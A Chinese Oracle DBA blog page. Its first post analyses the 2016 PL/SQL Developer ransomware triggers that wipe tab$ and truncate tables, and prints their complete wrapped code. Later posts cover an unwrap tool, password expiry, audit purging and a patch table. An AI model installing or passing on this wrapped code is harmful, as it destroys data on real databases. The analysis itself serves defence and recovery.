Skip to content

Oracle security

2016年在国内的plsql developer工具注入脚本的原理解释(代码不作公开)

在10月左右国内爆发了一阵子关于Oracle数据库锁定以及删除的比特币勒索事件,笔者历经数次此类问题,客户深受其害,在没有备份的情况下有些数据救回来了有些则被病毒恶意删除了,在本文里病毒代码不作解释公开,仅作解析原理以及学习交流使用.

14

该恶意脚本通过触发器的方式来实现对数据库的破坏,分为三部分:

DBMS_SUPPORT_INTERNAL

该触发器为数据库启动触发,启动后执行如下操作

  1.  检查数据库创建时间是否大于1200天,如果好过1200则创建orachk表来备份tab$表,此后删除tab$中除掉owner#为0和38的行.
  2. 接着通过dbms_backup_restore清理整个数据库的备份信息
  3. 然后通过dbms_system在alert日志中写上如上图的相关告警提示信息

DBMS_SYSTEM_INTERNAL

该触发器为数据库登陆触发,该触发器作用主要是是对不在表空间system,example,sysaux表空间的对象进行统计信息最后分析时间的对比,如果存在1200天以上的表未做统计信息分析则会判断下是否属于C89239的客户端的进程,如果不是则出发事件告警.告知登陆用户数据库被锁定.

DBMS_CORE_INTERNAL

该触发器为数据库用户登陆触发,为整个恶意脚本中最严重的破坏部分.在用户登陆后,会触发对归属于当前登陆用户的不在表空间system,example,sysaux表空间的表并且过滤掉带$的表以及orachk备份表,簇表进行统计信息收集的时间进行收集对比,如果存在超过1200天未收集统计信息,则truncate对应的表(不是全部表truncate,还是有条件的). 然后告警.

 

处理办法:

 

基于该问题的解决办法,有备份则备份恢复,没备份则通过Mdata或者dul恢复被truncate.当然还涉及到基表tab$表的的一些情况,需要根据tab$是否被清理,系统中离上次收集统计信息超过1200天的表有哪些等来做一些条件判断. orachk的备份表可以起到比较重要的作用.

 

该脚本原文:(可以用本站的plsql反解密工具进行解密.)

create or replace procedure “DBMS_SUPPORT_INTERNAL ” wrapped
a000000
354
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
6f2 467
N/V8HjJRfuLs0jji4Nsz59BipVwwg0NcTPZ3Z46BQqqVlW/f91N+YSzjDJV+ZQUuE5EGR366
EJMlfvzRE58yt6OZc4KSTcpvVvL2DbSsleURlQZtls3WJA5pz/M0+jPWnkT4FjkVuBeLaMdy
ALf02U3cX8XvuLMWMTTUCuIMWE1YSspHs1ZXI9Gs+vtlQBvjnlOe6gd3z3/W+1hQ9NVZ/I6C
j2V5tDzc6HzQPhRRxbi+yLtemcB/XmZq6LevX25Uoh+PX5PxDirtUX/0ml29rwGQ83Z0yI00
bsjMfZuniA042B8dOxpSCVkldQHIJT32hCeo0PjpAho6+jazCqyp3gXbfFJbkXPcj5X72xmR
BKYB7IeI19FWpSf0bYk033EqsunX2ZmZMbnifUrBWy/XgFJ8so/pL0Q4j8a4veh7zSmRqAf4
IwPePjnF5qtZiWrhEjg05kstoQ2gISXW5md7jhB6nMXypgSk+31ThFQoV8MayDQlv+mnqAFQ
JnkTUTBAepZf1v/MLT/vpbq/g9dYU7px5vGjcSXSs+W6C0aZl1rLgGbSwt7uTUlBoeXFTx/M
V3hRu2jj+dFRWYh1oQt3ceLIuyw2bQl4zT8jPyDANYpoFnjUWMienpHVLnVuO7HBlHUgcp8O
uWsPh47dduwxpeQraQf6Qo94VnBch/vzMOueRXpeB/t1ftQiny8G3zCBI0njZmlbW7vEd5tG
TMVovGXAnSErHC9zg24j9nDbmCowZGq9Wj/xLF6i11NClsiUelde9IJSam2YJusJEcZOCHbA
61rn6O3JMEfTVbLaA8yGI2VYTgVUs3YraHSE59ZXNYT26ABbss/ze9q2YXM83hC+fsRMF/UB
CyDehlVk6poPu0iqh3GtYz8ewTyr3U4Huiw5h3ZWSLy1YVPtoJIy/pWvJcSQwapjtTH5sFtP
QXlkijT3+59BVrskc26lkH1zm7lDYOzNrpClUhJzzfyG14Hw7ZCADPYTJKck4rlIc3omb8sB
88Za8K4d6FhaDHeGlAPPzvR2h4QEj7BDj6eGBWuZ5d7i9lhFpxlcRn+XGrnpY+SYpKy1+Nuw
YF6gWAi2A5DlAe5yl38YHz8dXJEBsA==

/
PROMPT Create “DBMS_SUPPORT_INTERNAL ”
create or replace trigger “DBMS_SUPPORT_INTERNAL ”
after startup on database
begin
“DBMS_SUPPORT_INTERNAL “;
end;
/
CREATE OR REPLACE procedure “DBMS_SYSTEM_INTERNAL ” wrapped
a000000
354
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
3a5 384
D8WvgOUUGiT5i6HOYNlx/FlHr5Ywg/AJDwwFaY6aA08GR5wUL2MmCn3bLQVdPGCbIPrwCrxG
oPo8ULTCGw2SUmHGstQ2bVHHt5N1tC6gC5Wc7X1qIqnKvHSft0hv/qDdAsf/1zpzrcGr6NHg
+t9/XwxCPcDYAW1wPfcqrC6yPqX+/Vsxqx3IL6/hULowV5aRixEC6FMU4NaFRaddQPRvwyHl
zBZYS1SPOGYTWNPoU74teofIKpLVVFSvZvt5oTj0uePpkcKJJO51aQHwXMjpdqJcVmRw9IbO
dJx8HqqijllMRBoWyzVCRLqloOMmbTjgyvPaqwl/EXtrLt1lhAt0TzaF0bOmnMgnFnXu0zHK
H6kuNyzXmTF0Y2bpbhhZIH5q3SZXgHcpEfJGAX5tm94MdChf5Qyf4dtVTxfbWDGKd4oU0bN6
eSz7+3VaYXykk5fnVLcWzlXOn0ig8qTe+s8g+yWfW4hAZm0WpNHfLlWRB7dDWLkBsBLkHmrQ
0B9zA9cAHvTh6HmUN865J7vov6ZLc+X+KsTH7ULSQ88DmjG1Py3HVa0sftZ8AO2Htp5sKk8Q
IgNTQQ/FXYUdd28rwG25l9KjtxjJxOLcD0FIgf45T1eprwVVCr8XvU8Z9dVrKKdWENo/mi6z
UR84A5RcLGRFNVeT3tgVobWlTvkTjGq5Q48ywY99wbn6+em7yRpvDgRnvkNC/Xp+IaMupWi0
Ypj3KHl4rOW6JjociXiPSu8cZp25NcuXNXHeNjLj/Y8jh+vQUbWbXqGlPqKO26/scgimuQO0
IOZxMoao9cUBXZaoWlZVwuQetwffXHZGqEY/bvWEOxkRhI0cg4PlB/DyzeKd+u6GDB876yoT
PBEx7DsW0gARJWjtmk3EITM=

/
CREATE OR REPLACE TRIGGER “DBMS_SYSTEM_INTERNAL ”
AFTER LOGON ON DATABASE
BEGIN
“DBMS_SYSTEM_INTERNAL “;
END;
/
create or replace procedure DBMS_STANDARD_FUN9 wrapped
a000000
354
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
69 9a
8qPs2BvPyop5gdYsYiM6d3OX/X4wg6RtrcupfHQ2JkICDBEpacVJ33D0BF12Udm1qjWJ3p8a
PTQzNujgdF0LJz6M06sNjH28d2D11hbDoLhreR50pKELek9RaqbOhmll1tuFFLR5oEho2F3o
LOPeiFY=

/
create or replace procedure “DBMS_CORE_INTERNAL ” wrapped
a000000
354
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
73c 4c4
SlwavX1476MVTf7FOLHh3KBF3Nkwg81eTPb9gI7NAz+VeRF1VcLz8dNYVxVjjD0Woxede4IK
xT+TPCVhb6dsZjsGBNIXg8Zv8rJ/vaFVQNRptsSoUib6DA9uB/mpZ4UMa7/JedXRPtK+w0sR
uVW+/kES/zHIW9/2om6vAmBVti2kuG/avJFosNFu+dGp756mzTCtTQt9gIeQCKvJq8PCZY8Q
U2HD0SZfyMPmE8CY6UKVTYnybAPoDO0O876KpGRL+x60VoncjwpXXdJFgMGtRoZa1o1iU8M+
TNHqMvekUvO4yOLvFKwdr3HJDM4v7HqlytNfxvE8TBuP629qzfUv+HcLj1vTccE5HcAI1m02
TZrOB8T7sJ8e1PqUBfA2wvEPFTc/XUUN5pBMv89Gx3uaIJhAdOANa6hInulybHIIspyeiF4a
0oue9nXoXGWU3q+9qquCMlW/Z2+oDZrmi85wL35WWIBWMg7MWyjYhO1QAaJeHdy2dFXOjGNl
wn6sfn+y0+xaWIzsXTS+NS/8NKci45EE+mYiLR7OR8qTwntahjjC9+aq4TbJgrBXF8VPY4G8
YaLCCPW0LsKO9fPIMVnefBP3Zq0PKxMoooKU6cP+aUzNVpnj/wsMnTVC70hg+VE14+xu+J61
fyH226y2n65ptDcHeZuChA13yU6F3jwOuPwBldyOQFmZRj+AZL8aNY5xi8QtgvqQ8llOc2zg
D0zYcYdWwsvUQm2CZftXMjaEtUETw1eC0cnMoQ+I5NhanNshdEzG6INVX06p/b4NYsL+wBe7
+k+atflqCO5OzQcGth8wFKPK65GGj9ev76kSDxzkCe21IxK1wR8FB9qYnaSaqu1OBn0ciR9v
udicE6Rkhzrk/JuQI5iTjep9yUJjRW7YVmgc72mGuQoXD3qYEs6lfYC2j30TW2S8EOKLRIYa
bey9sAget7sz9cT6O68we5P4MO8pKBhVszl6AM/k67mx+ND+hxwQDU4RtdBbrr/QKBlHs+Gg
kkt7zYFhVrSrLsZQDFC9+hQC15Hh9qG/AM2v/G9uBYWsoXuKNZQr+JO/dyzm36wasf2wt/qd
g7AKkgttoSQemtwumco6VgzGyDtskxmjhFi7sDlNjf/o5BCumd/zUqp8qTXsJidULErfOLIs
VpDLW4y5kjpzGDqAsALLacnR+R/4JGJh02GpmiPN7Z2mGzsg1Q==

/
CREATE OR REPLACE TRIGGER “DBMS_CORE_INTERNAL ”
AFTER LOGON ON SCHEMA
BEGIN
“DBMS_CORE_INTERNAL “;
END;
/

更详细的解释可以百度搜索.

损人不利己的事情还是要敬而远之.做一个有正能量的开发人员

在10月底到11月的plsql病毒分析中,顺便弄了此工具方便使用wrap加密后的存储过程解密. HC把乱糟糟的代码重编译了下,使用起来更简单了。

关于这个解密原理很简单,ITPUB有很详细的说明,这里就不刨根究底了。

 

给予10,11g plsql 解密指引参考:

 http://www.itpub.net/thread-1154232-1-1.html

 

9I的plsql解密原理参考:

http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Finnigan.pdf

 

使用语法:

 

用界面太弱了(其实我们懒),所以还是纯命令行格式.注意路径.

 

java -jar unwrap.jar  加密文件  [解密文件]

 

1

 

下载地址:

 

UNWRAP.JAR DOWNLOAD

发布个plsql的解密小工具- unwrap

建议关注11g数据库password_life_time

Oracle 11g 之前默认的用户时是没有密码过期的限制的,在Oracle 11g 中default的profile启用了密码过期时间是180天,也就是password_life_time值为180,虽然是个小细节,但是很多客户在迁移到11g后有规律性的都在半年后出现了密码错误无法登陆的问题.

如下:

select * from dba_profiles where profile='DEFAULT' and resource_name='PASSWORD_LIFE_TIME';

PROFILE       RESOURCE_NAME       RESOURCE LIMIT
------------ -------------------- -------- -------
DEFAULT       PASSWORD_LIFE_TIME  PASSWORD 180

当过期时候系统会报错ORA-28002.当遭遇这个问题时候可以通过以下方式解决:

    1.新建profile,对用户指定新的profile.
    2.通过对用户重设密码(密码可以和原来一样).

    命令为:

    alter user username identified by password.
    

    3.针对默认的profile的password_life_time设置为unlimited

    命令为:

    alter profile default limit PASSWORD_LIFE_TIM 180.

以下是profile里的关于password的设置类目解释:

    FAILED_LOGIN_ATTEMPTS
    设定登录到Oracle 数据库时可以失败的次数。一旦某用户尝试登录数据库的达到该值时,该用户的帐户就被锁定,只能由DBA能解锁。
    PASSWORD_LIFE_TIME
    设定口令的有效时间(天数),一旦超过这一时间,必须重新设口令。缺省为180天(11g,10gUNLIMITED).
    PASSWORD_REUSE_TIME
    许多系统不许用户重新启用过去用过的口令。该资源项设定了一个失效口令要经过多少天,用户才可以重新使用该口令。缺省为UNLIMITED.
    PASSWORD_REUSE_MAX
    重新启用一个先前用过的口令前必须对该口令进行重新设置的次数(重复用的次数)。
    PASSWORD_LOCK_TIME
    设定帐户被锁定的天数(当登录失败达到FAILED_LOGIN_ATTEMPTS时)。
    PASSWORD_GRACE_TIME
    设定在口令失效前,给予的重新设该口令的宽限天。当口令失效之后回,在登录时会出现警告信息显示该天数。如果没有在宽限天内修改口令,口令将失效。
    PASSWORD_VERITY_FUNCTION
    该资源项允许调用一个PL/SQL 来验证口令。Oracle公司已提供该应用 的脚本,但是只要愿意的话,用户可以制定自己的验证脚本。该参数的设定就是PL/SQL函数的名称。缺省为NULL.

关于11g数据库基础审计的初始注意事项

目前11g已经有些年份了,大部分的系统已经迁移或者升级到11g的版本,而后续上线的大部分系统都是以11g为主.在11g以上的版本中数据库的基础审计和以往版本不同,11g以后的版本默认是开启的.基础审计这个功能大部分时候并不是很受关注,一来是比较简单就能设置完成,二来国内对信息数据安全的不够注重的环境也让很多dba在数据库安全层面未有太多落实.所以在基础设计这块在数据库构建之处也容易忽视.

审计在默认开启的情况下,主要影响是2方面:

    1.审计记录在长久记录后,会占用较多的空间,而审计记录表默认是存放在system表空间.
    2.在审计记录膨胀后,容易对一些类型的应用产生性能上的影响.

在初始构建11g实例时候,对审计处理并不是一味的关闭处理,主要是考虑开启的必要性需求,以及如果开启后如何去管理审计记录.以前我遇见过这样的需求,主要是针对审计开启后的审计记录管理问题.关闭倒是容易,一条命令就可以结束.反倒是开启后对审计记录的管理.可以参考以下2个文章对审计记录表存放位置挪移到别的表空间,同时制定定期的删除策略.

使用DBMS_AUDIT_MGMT定期PURGE部分AUD$以及FGA_LOG$审计记录

还是AUD$的问题,昨晚又测了dbms_audit_mgmt过程包给用户设置定时PURGE一段时间前AUD$和FGA_LOG$中的审计记录,该包是专门针对oracle 审计记录进行管理的过程包.该包发布于10203之后的版本,然后在在10203版本需要打上patch 6996030才可以使用该包,在10204版本中需要打上patch 6989148才可以使用.这里使用的是dbms_audit_mgmt的purge以及archived功能

The DBMS_AUDIT_MGMT subprograms enable you to perform cleanup operations on all audit trail types. Audit trail records can be deleted based on their last archive timestamp. The last archive timestamp indicates when the audit records were last archived.

关于该包的使用我就不科普了,到这里dbms_audit_mgmt查找到相关使用信息,做事情需要未雨绸缪,使用前除了了解该包的语法功能点外,还需要注意该包的一些可能问题,该包可能碰到的一些问题可以登陆到OTN查阅 Known Issues When Using: DBMS_AUDIT_MGMT (Doc ID 804624.1)

 

在下面的步骤前,先了解下这些选项的含义,由于我设置额db_extended所以在过程中我需要选择清除的对象为AUDIT_TRAIL_AUD_STD.

 

Constant Type Value Description
AUDIT_TRAIL_ALL PLS_INTEGER 15 All audit trail types. This includes the standard database audit trail (SYS.AUD$ and SYS.FGA_LOG$ tables), operating system (OS) audit trail, and XML audit trail.
AUDIT_TRAIL_AUD_STD PLS_INTEGER 1 Standard database audit records in the SYS.AUD$ table
AUDIT_TRAIL_DB_STD PLS_INTEGER 3 Both standard audit (SYS.AUD$) and FGA audit(SYS.FGA_LOG$) records
AUDIT_TRAIL_FGA_STD PLS_INTEGER 2 Standard database fine-grained auditing (FGA) records in the SYS.FGA_LOG$ table
AUDIT_TRAIL_FILES PLS_INTEGER 12 Both operating system (OS) and XML audit trails
AUDIT_TRAIL_OS PLS_INTEGER 4 Operating system audit trail. This refers to the audit records stored in operating system files.
AUDIT_TRAIL_XML PLS_INTEGER 8 XML audit trail. This refers to the audit records stored in XML files.

 

我的测试是在11gR2上执行.我的审计设置为db_extended,AUD$在表空间LUDATOU上.前期准备工作如下:

SQL> alter system set audit_trail=db_extended scope=spfile;

System altered.

SQL> create tablespace ludatou datafile '/u01/oracle/luda01.dbf' size 50m;

Tablespace created.

SQL> BEGIN
2 DBMS_AUDIT_MGMT.SET_AUDIT_TRAIL_LOCATION(audit_trail_type => DBMS_AUDIT_MGMT.AUDIT_TRAIL_AUD_STD,
3 audit_trail_location_value => 'LUDATOU');
4 END;
5 /

PL/SQL procedure successfully completed.

 

SQL> select segment_name,tablespace_name from dba_segments where segment_name='AUD$';

SEGMENT_NAME TABLESPACE_NAME
-------------------- ------------------------------
AUD$            LUDATOU


update dam_config_param$ set string_value='LUDATOU' where audit_trail_type#=1 and param_id=22;
commit;

SQL> select * from dam_config_param$;

  PARAM_ID AUDIT_TRAIL_TYPE# NUMBER_VALUE STRING_VALUE
---------- ----------------- ------------ ----------------------------------------
        22                 1              LUDATOU
        22                 2              SYSAUX
        21                 1           12

第一步针对AUDIT_TRAIL_AUD_STD设置init_cleanup每24小时执行一次.

SQL> BEGIN
  2  IF NOT DBMS_AUDIT_MGMT.IS_CLEANUP_INITIALIZED
  3  (DBMS_AUDIT_MGMT.AUDIT_TRAIL_AUD_STD)
  4  THEN
  5  dbms_output.put_line('Calling DBMS_AUDIT_MGMT.INIT_CLEANUP');
  6  DBMS_AUDIT_MGMT.INIT_CLEANUP(
  7  audit_trail_type => dbms_audit_mgmt.AUDIT_TRAIL_AUD_STD,
  8  default_cleanup_interval => 24);
  9  else
 10  dbms_output.put_line('Cleanup for STD was already initialized');
 11  end if;
 12  end;
 13  /

PL/SQL procedure successfully completed.

SQL>

第二步 设置为超过14天审计记录标记时间戳.
这里的时间戳需要注意,如果 AUDIT_TRAIL_TYPE为OS或者XML格式,则需要使用本地系统时间的格式,其他2种格式为UTC.

SQL> begin
  2  DBMS_AUDIT_MGMT.SET_LAST_ARCHIVE_TIMESTAMP(
  3  audit_trail_type => DBMS_AUDIT_MGMT.AUDIT_TRAIL_AUD_STD,
  4  last_archive_time => sysdate - 14);
  5  end;
  6  /

PL/SQL procedure successfully completed.

第三步 设置DBMS_AUDIT_MGMT过程中的purge_job

SQL> BEGIN
  2  DBMS_AUDIT_MGMT.CREATE_PURGE_JOB (
  3  AUDIT_TRAIL_TYPE => DBMS_AUDIT_MGMT.AUDIT_TRAIL_AUD_STD,
  4  AUDIT_TRAIL_PURGE_INTERVAL => 24,
  5  AUDIT_TRAIL_PURGE_NAME => 'AUD_PURGE',
  6  USE_LAST_ARCH_TIMESTAMP => TRUE );
  7  END;
  8  /

PL/SQL procedure successfully completed.

第四步创建DBMS_AUDIT_MGMT.SET_LAST_ARCHIVE_TIMESTAMP定期推进审计记录的归档时间戳的存储过程.

create or replace procedure set_archive_timestamp (retention in number default 14) as
begin
DBMS_AUDIT_MGMT.SET_LAST_ARCHIVE_TIMESTAMP(audit_trail_type => DBMS_AUDIT_MGMT.AUDIT_TRAIL_AUD_STD,last_archive_time => sysdate – retention);
end;
/

第五步 创建schedul,设置每6小时执行一次存储过程set_archive_timestamp

SQL> BEGIN
  2  DBMS_SCHEDULER.create_job (
  3  job_name => 'PUSH_AUD_ARCH_TSTAMP',
  4  job_type => 'STORED_PROCEDURE',
  5  job_action => 'SET_ARCHIVE_TIMESTAMP',
  6  number_of_arguments => 1,
  7  start_date => SYSDATE,
  8  repeat_interval => 'freq=hourly;interval=6',
  9  enabled => false,
 10  auto_drop => FALSE);
 11  End;
 12  /

PL/SQL procedure successfully completed.

SQL> BEGIN
  2  dbms_scheduler.set_job_argument_value
  3  (job_name =>'PUSH_AUD_ARCH_TSTAMP',
  4  argument_position =>1,
  5  argument_value => 7);
  6  DBMS_SCHEDULER.ENABLE('PUSH_AUD_ARCH_TSTAMP');
  7  End;
  8  /

PL/SQL procedure successfully completed.

设置完成,执行一次.

SQL> BEGIN
  2  DBMS_SCHEDULER.run_job (job_name => 'PUSH_AUD_ARCH_TSTAMP',
  3  use_current_session => FALSE);
  4  END;
  5  /

PL/SQL procedure successfully completed.

到此为止一个定期purge清除aud$下的审计记录的job就设置好了.中间涉及到DBMS_AUDIT_MGMT过程包的各个知识,在做之前参考前面写的,可能会碰到和引起的问题.该过程主要的作用还是(标准以及细粒度审计)管理审计记录的,不管审计记录是哪种类型,存放在何处,为管理审计提供了便捷,但是在10g同时也带来了一些问题,11gr2版本后审计记录的记录方式发生变化后,各方面功能相对比较稳定完善.

AUD$的Shrink问题

最近遇到这个case的问题比较多,不知道是不是碰到去年国家要求信息安全啥的,很多数据库都被加上了审计,在积累了一段时间后,问题在最近集中的爆发了.

其实最主要的问题主要集中在AUD$表过大的问题,而且默认设置时候是放在system tablespace中,即使用定期的清除策略,但是大家知道最终AUD$的高水位是没法降低的.除了常见的truncate这张表降低高水位提高可用空间外,而shrink在system表空间的对象是无法使用的,因为system 表空间是属于字典管理的嘛~其实也可以通过将AUD$表设置到其他本地管理的表空间,再配合shrink执行.设置过程也简单,借用DBMS_AUDIT_MGMT.SET_AUDIT_TRAIL_LOCATION函数,

The DBMS_AUDIT_MGMT package provides a subprogram that allows you to move the database audit trail tables out of the SYSTEM tablespace. This improves overall database performance. It also allows you to dedicate an optimized tablespace for audit records.

通过类似如下的命令即可:

 

BEGIN
DBMS_AUDIT_MGMT.SET_AUDIT_TRAIL_LOCATION(audit_trail_type => DBMS_AUDIT_MGMT.AUDIT_TRAIL_DB_STD,
audit_trail_location_value => 'LUDATOU');
END;
/

 

然后在后续的回收AUD$空间时候就可以配合定期删除策略采用alter table sys.aud$ shrink cascade来执行,但是在移到新表空间后需要将表aud$的rowmoment的属性打开.

alter table sys.aud$ enable row movement;

 

移回system表空间的语法类似,

BEGIN
DBMS_AUDIT_MGMT.SET_AUDIT_TRAIL_LOCATION(audit_trail_type => DBMS_AUDIT_MGMT.AUDIT_TRAIL_DB_STD,
audit_trail_location_value => 'SYSTEM');
END;
/

Oracle Recommended Patches — Oracle Database

12.1.0.1 Current Recommended Patches

Patch Set Updates

Document Description Rolling RAC Patch Download
Note:18031528.8 12.1.0.1.3 (Apr 2014) Database Patch Set Update (PSU) Yes Patch:18031528

Grid Infrastructure

Document Description Rolling RAC Patch Download
Note:18413105.8 AIX/HP/zLinux: 12.1.0.1.3 (Apr 2014) Grid Infrastructure Patch Set Update (GI PSU) Yes Patch:18413105
Note:18139660.8 Linux/Solaris: 12.1.0.1.3 (Apr 2014) Grid Infrastructure Patch Set Update (GI PSU) Yes Patch:18139660

11.2.0.4 Current Recommended Patches

Patch Set Updates

Document Description Rolling RAC Patch Download
Note:18031668.8 11.2.0.4.2 (Apr 2014) Database Patch Set Update (PSU) Yes Patch:18031668

Grid Infrastructure

Document Description Rolling RAC Patch Download
Note:18139609.8 11.2.0.4.2 (Apr 2014) Grid Infrastructure Patch Set Update (GI PSU) Yes Patch:18139609

Also see:

  • Note:1645862.1 Things to Consider Before Upgrading to 11.2.0.4 to Avoid Poor Performance or Wrong Results

11.2.0.3 Current Recommended Patches

Patch Set Updates

Document Description Rolling RAC Patch Download
Note:18031683.8 11.2.0.3.10 (Apr 2014) Database Patch Set Update (PSU) Yes Patch:18031683

Grid Infrastructure

Document Description Rolling RAC Patch Download
Note:18139678.8 11.2.0.3.10 (Apr 2014) Grid Infrastructure Patch Set Update (GI PSU) Yes Patch:18139678

Exadata

Document Description Rolling RAC Patch Download
Note:888828.1 Recommended Patch Information for Database Machine and Exadata Storage Server 11g Release 2 (11.2)

EBusiness Suite R11i Certification

Document Description Rolling RAC Patch Download
Note:881505.1 Interoperability Notes for Oracle E-Business Suite Release 11i with Oracle Database 11.2.0.3

EBusiness Suite R12 Certification

Document Description Rolling RAC Patch Download
Note:1058763.1 Interoperability Notes for Oracle E-Business Suite Release 12 with Oracle Database 11.2.0.3

Miscellaneous Fixes

Document Description Rolling RAC Patch Download
Note:17403540.8 AIX: 11.2.0.3 N-apply patch for critcal AIX fixes – Bundle #2 Yes Patch:17403540

Also see:

  • Note:1392633.1 Common Performance/Wrong Results Bugs Reported on 11.2.0.3

11.2.0.2 Current Recommended Patches

Note: 11.2.0.2 is outside of patching policy. It is advisable to use a newer Patch Set or release.

Patch Set Updates

Document Description Rolling RAC Patch Download
Note:17082367.8 11.2.0.2.12 (Oct 2013) Database Patch Set Update (PSU) Yes Patch:17082367

Grid Infrastructure

Document Description Rolling RAC Patch Download
Note:17272753.8 11.2.0.2.12 (Oct 2013) Grid Infrastructure Patch Set Update (GI PSU) Yes Patch:17272753

Exadata

Document Description Rolling RAC Patch Download
Note:888828.1 Recommended Patch Information for Database Machine and Exadata Storage Server 11g Release 2 (11.2)

EBusiness Suite R11i Certification

Document Description Rolling RAC Patch Download
Note:1367654.1 Interoperability Notes for Oracle E-Business Suite Release 11i with Oracle Database 11.2.0.2

EBusiness Suite R12 Certification

Document Description Rolling RAC Patch Download
Note:1367644.1 Interoperability Notes for Oracle E-Business Suite Release 12 with Oracle Database 11.2.0.2

Also see:

  • Note:1320966.1 Common Performance/Wrong Results Bugs Reported on 11.2.0.2

11.2.0.1 Current Recommended Patches

Note: 11.2.0.1 is outside of patching policy. It is advisable to use a newer Patch Set or release.

Patch Set Updates

Document Description Rolling RAC Patch Download
Note:12419378.8 11.2.0.1.6 (Jul 2011) Database Patch Set Update (PSU) Yes Patch:12419378

Grid Infrastructure

Document Description Rolling RAC Patch Download
Note:9655006.8 11.2.0.1.2 (Jul 2010) Grid Infrastructure Patch Set Update (GI PSU) Yes Patch:9655006

Exadata

Document Description Rolling RAC Patch Download
Note:888828.1 Recommended Patch Information for Database Machine and Exadata Storage Server 11g Release 2 (11.2)

EBusiness Suite R11i Certification

Document Description Rolling RAC Patch Download
Note:1265268.1 Interoperability Notes for Oracle E-Business Suite Release 11i with Oracle Database 11.2.0.1

EBusiness Suite R12 Certification

Document Description Rolling RAC Patch Download
Note:1265232.1 Interoperability Notes for Oracle E-Business Suite Release 12 with Oracle Database 11.2.0.1

11.1.0.7 Current Recommended Patches

Patch Set Updates

Document Description Rolling RAC Patch Download
Note:18031726.8 11.1.0.7.19 (Apr 2014) Database Patch Set Update (PSU) Yes Patch:18031726

CRS

Document Description Rolling RAC Patch Download
Note:11724953.8 11.1.0.7.7 CRS Patch Set Update (CRS PSU) Yes Patch:11724953

Data Guard

Document Description Rolling RAC Patch Download
Note:7628357.8 11.1.0.7 Data Guard Broker Recommended Patch Bundle #1 No Patch:7628357

Exadata

Document Description Rolling RAC Patch Download
Note:835032.1 Recommended Patch Information for Database Machine and Exadata Storage Server 11g Release 1 (11.1)

EBusiness Suite R11i Certification

Document Description Rolling RAC Patch Download
Note:452783.1 Interoperability Notes for Oracle E-Business Suite Release 11i with Oracle Database 11.1.0.7
Note:7295298.8 Poor Subquery filter order / Queries against ALL_OBJECTS can be slow Yes Patch:7295298
Note:7253531.8 A dump [ttci2u] passing LOB data over heterogeneous connection with multibyte Yes Patch:7253531
Note:6530141.8 False ORA-979 can occur on an UPDATE DML Yes Patch:6530141

EBusiness Suite R12 Certification

Document Description Rolling RAC Patch Download
Note:735276.1 Interoperability Notes for Oracle E-Business Suite Release 12 with Oracle Database 11.1.0.7
Note:7684818.8 11.1.0.7 EBusiness Suite R12 Certification Patch Bundle #1 Yes Patch:7684818
Note:7630760.8 HPUX: 11.1.0.7 patch install deletes libskgxp11.a No Patch:7630760
Note:7253531.8 A dump [ttci2u] passing LOB data over heterogeneous connection with multibyte Yes Patch:7253531

11.1.0.6 Current Recommended Patches

Note: 11.1.0.6 is outside of patching policy. It is advisable to use a newer Patch Set or release.

EBusiness Suite R11i Certification

Document Description Rolling RAC Patch Download
Note:9196488.8 PLS-306 executing procedure on 11g from lower version PLSQL client No Patch:9196488
Note:7253531.8 A dump [ttci2u] passing LOB data over heterogeneous connection with multibyte Yes Patch:7253531
Note:6972189.8 Invalid package bodies when using _load_without_compile option Yes Patch:6972189
Note:6778860.8 11.1.0.6 EBusiness Suite R11 Certification Patch Bundle #1 No Patch:6778860
Note:6501565.8 Dump under JVM from JIT of Java class compiled with old Java compiler No Patch:6501565

EBusiness Suite R12 Certification

Document Description Rolling RAC Patch Download
Note:7377378.8 11.1.0.6 EBusiness Suite R12 Certification Patch Bundle #1 Yes Patch:7377378
Note:7253531.8 A dump [ttci2u] passing LOB data over heterogeneous connection with multibyte Yes Patch:7253531
Note:6991626.8 Datapump export fails with ORA-39126 / ORA-22813 Yes Patch:6991626
Note:6815733.8 OERI [qctcte1] from cost based transformation with subquery in ORDER BY clause Yes Patch:6815733
Note:6598432.8 ORA-1466 from read-only transaction when client / server in different timezones Yes Patch:6598432
Note:6266400.8 A dump can occur in kokbTabFuncRewrite Yes Patch:6266400

10.2.0.5 Current Recommended Patches

Patch Set Updates

Document Description Rolling RAC Patch Download
Note:16619894.8 10.2.0.5.12 (Jul 2013) Database Patch Set Update (PSU) Yes Patch:16619894

CRS

Document Description Rolling RAC Patch Download
Note:9952245.8 10.2.0.5.2 CRS Patch Set Update (CRS PSU) Yes Patch:9952245

10.2.0.4 Current Recommended Patches

Oracle introduced Patch Set Updates (PSU) for 10.2.0.4 which include recommended fixes for generic , RAC and DataGuard issues. 
The PSU should be treated as the recommended patch for these areas – additional recommendations may be listed below under relevant areas.
Please read Note:854428.1 for an introduction to Patch Set Updates.

Note: 10.2.0.4 is outside of patching policy. Database PSU 10.2.0.4.13 onwards are only available on limited platforms.

Patch Set Updates

Document Description Rolling RAC Patch Download
Note:16619897.8 10.2.0.4.17 (Jul 2013) Database Patch Set Update (PSU) Overlay [limited platforms] Yes Patch:16619897
Note:9352164.8 10.2.0.4.4 (Apr 2010) Database Patch Set Update (PSU) Yes Patch:9352164

Generic

Document Description Rolling RAC Patch Download
Note:9572766.8 Recommended merge fix for bug 6994194 and bug 8830147 Yes Patch:9572766

RAC

Document Description Rolling RAC Patch Download
Note:6367097.8 Recommended on HP Itanium: RAC diagnostics can abort the instance (LMS ORA-484) Yes Patch:6367097
Note:6079224.8 Recommended on Linux: RAC ORA-27506 / IPC Send timeout Yes Patch:6079224

CRS

Document Description Rolling RAC Patch Download
Note:9294403.8 10.2.0.4.4 CRS Patch Set Update (CRS PSU) Yes Patch:9294403

EBusiness Suite R12 Certification

Document Description Rolling RAC Patch Download
Note:7014646.8 OERI [kkocxj : pjpctx] from complex query Yes Patch:7014646

10.2.0.3 Current Recommended Patches

Note: 10.2.0.3 is outside of patching policy.

RAC

Document Description Rolling RAC Patch Download
Note:7145055.8 10.2.0.3 RAC Recommended Patch Bundle #2 Yes Patch:7145055

CRS

Document Description Rolling RAC Patch Download
